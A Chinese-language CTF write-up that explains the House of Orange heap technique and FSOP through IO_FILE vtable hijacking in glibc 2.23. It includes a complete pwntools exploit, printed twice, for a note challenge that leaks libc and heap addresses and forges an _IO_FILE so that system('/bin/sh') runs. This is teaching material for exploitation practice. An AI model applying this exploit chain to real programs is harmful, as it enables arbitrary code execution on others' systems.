原理介绍
House of Orange能达到的效果:
能在没有free的情况下将top chunk释放到unsortedbin中,便于leak libc地址和堆地址
实现条件:
存在堆溢出能控制top chunk的size,并且可以申请的内存大小要大于top chunk的size
这一部分可以在没有free的情况下将top chunk加入到unsortedbin中,方便leak libc地址和堆地址。
具体原理:
当我们申请的size大小超过top chunk时,malloc重新申请一块区域作为top chunk,并且把之前的top chunk加入到unsortedbin中,所以就可以通过堆溢出修改top chunk的size,然后申请一个超过此size的chunk,就会触发。修改的size也有要求
不能太小,要大于0x10(MINSIZE)
topchunk的结束地址(当前地址 + size)要与页基址对齐,一般就是0x1000(结尾三个0)
prev_inuse = 1
FSOP
结构体
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file ; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf; #else void *__pad1; void *__pad2; void *__pad3; void *__pad4; #endif size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )]; #endif };
关键的地方是_chain
字段,是指向单向链表的下一个IO_FILE
结构体的指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
每个_IO_FILE_plus
结构体中都有一个_IO_jump_t
类型的vtable指针,并且这个指针的位置在_IO_FILE_plus
结构体偏移0xd8处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
当一个write、read函数调用时,最后都是根据偏移执行vtable中对应的函数。
对于一个linux进程,所有的IO_FILE结构都相互之间通过chain域链接,由一个单向链表维护。这个链表的表头就是IO_list_all这个指针。一般来说它指向_IO_2_1_stderr_
这个符号。
原理
FSOP的核心就是劫持IO_list_all
这个指针来劫持程序执行流,让程序最终从一个伪造的file结构中取出伪造的虚表,在这个伪造的虚表中在某个将要被调用的函数处将其覆盖为system或者onegadget即可getshell。
CTF-WiKi 说过
这一系列的操作,我们希望通过_IO_flush_all_lockp
这个函数来触发,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE
调用 fflush
,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
而_IO_flush_all_lockp
这个函数它不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
当 libc 执行 abort 流程时
当执行 exit 函数时
当执行流从 main 函数返回时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; struct _IO_FILE *fp ; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL ); if (do_lock) _IO_lock_lock (list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL ) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; if (last_stamp != _IO_list_all_stamp) { fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0 ); #endif return result; }
所以说,当调用_IO_flush_all_lockp
这个函数时,最后调用的其实是vtable虚表中的IO_overflow
,只要能将这个函数修改为system即可。这个函数在vtable中的偏移是0x18,第四个函数。
利用过程
需要配合unsortedbin_attack
进行,利用unsortedbin_attack
将main_arena+88
的地址写入到IO_list_all
中。此时如果触发了_IO_flush_all_lockp
这个函数,就会根据IO_list_all
找到main_arena+88
中,_IO_flush_all_lockp
会通过chain域对每个IO_FILE
结构调用_IO_overflow
,第一次调用是把main_arena
处当做FILE结构,这个调用必然会失败,但是不会导致程序崩溃。这时根据距离main_arena+88
偏移为0x68处的_chain
找到下一个IO_FILE
。找到IO_FILE
后会根据偏移0xd8处找到vtable指针,再找到vtable虚表,执行第四个函数IO_overflow
(算是第二次调用)。
unsorted bin往后0x68大致是small bin范围,只需要控制一个合理的堆块,将其释放到对应位置即可。
所以说,此chunk必须是size为0x60大小的才行,这样才能合理的释放到距离main_arena+88
偏移为0x68处的位置。
fake_file构造思路:
1 2 3 4 5 6 7 fake_file ='/bin/sh\x00' +p64(0x61 ) fake_file+=p64(0 )+p64(io_list_all-0x10 ) fake_file+=p64(0 )+p64(1 ) fake_file=fake_file.ljust(0xd8 ,'\x00' ) fake_file+=p64(fake_file_addr) fake_file+=3 *p64(0 ) fake_file+=p64(system_addr)
用这个结构去篡改unsorted bin中最后的一个堆块(会最先取到的那个),然后随便申请一个内存块(尽量大一点避开0x60或者触发分割),让这个堆块进入到small bin中去,之后unsorted bin被破坏了,接下来会发生错误,触发_IO_flush_all_lockp,在第二次IO_OVERFLOW时,取的函数指针为system,传的参数为file结构体的指针,也就是这里的/bin/sh的地址,然后就会触发system(“/bin/sh”),这样我们就拿到shell了。
例题
漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int change_note () { signed int v1; unsigned int nbytes; puts ("Which note do you want to change?" ); v1 = read_int(); if ( (unsigned int )v1 > 9 || !*((_QWORD *)¬e_list + v1) ) return puts ("Error index!!!" ); puts ("Please input the size of your note:" ); nbytes = read_int(); puts ("Please write your new note:" ); read(0 , *((void **)¬e_list + v1), nbytes); return puts ("Done!" ); }
nbytes无符号,输入-1,就会有超大溢出空间。存在堆溢出漏洞,这道题没有free函数。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" ,"splitw" ,"-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('challenge-1649dcbca1725a1e.sandbox.ctfhub.com' , 29367 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) l64 = lambda : u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , '\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , '\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc-2.23.so' ) def add (size,content ): rl("Input your choice >> " ) sl('1' ) rl("How long is your note?" ) sl(str (size)) rl("Please write your note now:" ) sl(content) def show (): rl("Input your choice >> " ) sl('2' ) def edit (index,size,content ): rl("Input your choice >> \n" ) sl('3' ) rl("Which note do you want to change?\n" ) sl(str (index)) rl("Please input the size of your note:\n" ) sl(str (size)) rl("Please write your new note:\n" ) sl(content) gdb.attach(p) add(0x10 ,'aaaa' ) edit(0 ,-1 ,p64(0 )*3 +p64(0xfe1 )) add(0x1000 ,'a' ) add(0x80 ,'a' ) show() rl("No.2 note: " ) libc_leak = uu64() lg("libc_leak" ,libc_leak) libc_base = libc_leak-0xa61 +0x4b78 -0x3c4b78 lg("libc_base" ,libc_base) io_list_all=libc_base+libc.symbols['_IO_list_all' ] lg("io_list_all" ,io_list_all) system_addr=libc_base+libc.symbols['system' ] edit(2 ,-1 ,'a' *15 ) show() rl('a' *15 ) rl("\x0a" ) heap_leak = uu64() lg("heap_leak" ,heap_leak) heap_base = heap_leak-0x20 lg("heap_base" ,heap_base) add(0xec0 ,'a' ) payload = 'a' *0xec0 fake_file = '/bin/sh\x00' +p64(0x61 ) fake_file += p64(0 ) + p64(io_list_all-0x10 ) fake_file += p64(0 )+p64(1 ) fake_file = fake_file.ljust(0xd8 ,'\x00' ) fake_file += p64(heap_base+0x1060 ) fake_file += 3 * p64(0 ) fake_file += p64(system_addr) edit(3 ,-1 ,payload+fake_file) rl("Input your choice >> " ) sl('1' ) rl("How long is your note?" ) sl(str (0x80 )) inter()
第一部分是通过溢出修改top chunk的size,然后触发将其释放到unsortedbin中后泄露libc地址。
第二部分利用这个unsortedbin再泄露heap地址。
第三部分malloc一个chunk,使得unsortedbin中只剩一个0x60大小的chunk。这个chunk就是要伪造的IO_FILE
以及虚表。
然后对0x60的chunk进行伪造fake_file。
最后申请一个大于0x60大小的chunk,根据unsortedbin中的原则,会遍历unsortedbin,然后将这个0x60的chunk放到smallbin中,所以在main_arena中对应的位置会有此chunk的地址,这个位置同时也是第一个伪造的IO_FILE
的_chain
指针,指向下一个IO_FILE
。所以此时0x60这个chunk就是第二个IO_FILE
,然后根据0xd8的偏移找到vtable虚表指针,此时这个指针被伪造成堆上的一个地址,再根据0x18的偏移找到IO_overflow
函数,此时已被伪造成system,就会执行system(‘/bin/sh’)。因为参数是伪造的IO_FILE
地址,就是0x60chunk的地址。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" ,"splitw" ,"-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('challenge-1649dcbca1725a1e.sandbox.ctfhub.com' , 29367 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) l64 = lambda : u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , '\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , '\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc-2.23.so' ) def add (size,content ): rl("Input your choice >> " ) sl('1' ) rl("How long is your note?" ) sl(str (size)) rl("Please write your note now:" ) sl(content) def show (): rl("Input your choice >> " ) sl('2' ) def edit (index,size,content ): rl("Input your choice >> \n" ) sl('3' ) rl("Which note do you want to change?\n" ) sl(str (index)) rl("Please input the size of your note:\n" ) sl(str (size)) rl("Please write your new note:\n" ) sl(content) gdb.attach(p) add(0x10 ,'aaaa' ) edit(0 ,-1 ,p64(0 )*3 +p64(0xfe1 )) add(0x1000 ,'a' ) add(0x80 ,'a' ) show() rl("No.2 note: " ) libc_leak = uu64() lg("libc_leak" ,libc_leak) libc_base = libc_leak-0xa61 +0x4b78 -0x3c4b78 lg("libc_base" ,libc_base) io_list_all=libc_base+libc.symbols['_IO_list_all' ] lg("io_list_all" ,io_list_all) system_addr=libc_base+libc.symbols['system' ] edit(2 ,-1 ,'a' *15 ) show() rl('a' *15 ) rl("\x0a" ) heap_leak = uu64() lg("heap_leak" ,heap_leak) heap_base = heap_leak-0x20 lg("heap_base" ,heap_base) add(0xec0 ,'a' ) payload = 'a' *0xec0 fake_file = '/bin/sh\x00' +p64(0x61 ) fake_file += p64(0 ) + p64(io_list_all-0x10 ) fake_file += p64(0 )+p64(1 ) fake_file = fake_file.ljust(0xd8 ,'\x00' ) fake_file += p64(heap_base+0x1060 ) fake_file += 3 * p64(0 ) fake_file += p64(system_addr) edit(3 ,-1 ,payload+fake_file) rl("Input your choice >> " ) sl('1' ) rl("How long is your note?" ) sl(str (0x80 )) inter()
此处报错是第一次调用IO_overflow
,此时的vtable虚表指针无法伪造,所以会错误,但是程序不会崩溃,会继续第二次寻找IO_FILE
然后继续调用。getshell就是利用的第二次调用IO_overflow
。
伪造的fake_file形式
1 2 3 4 5 6 7 fake_file ='/bin/sh\x00' +p64(0x61 ) fake_file+=p64(0 )+p64(io_list_all-0x10 ) fake_file+=p64(0 )+p64(1 ) fake_file=fake_file.ljust(0xd8 ,'\x00' ) fake_file+=p64(fake_file_addr) fake_file+=3 *p64(0 ) fake_file+=p64(system_addr)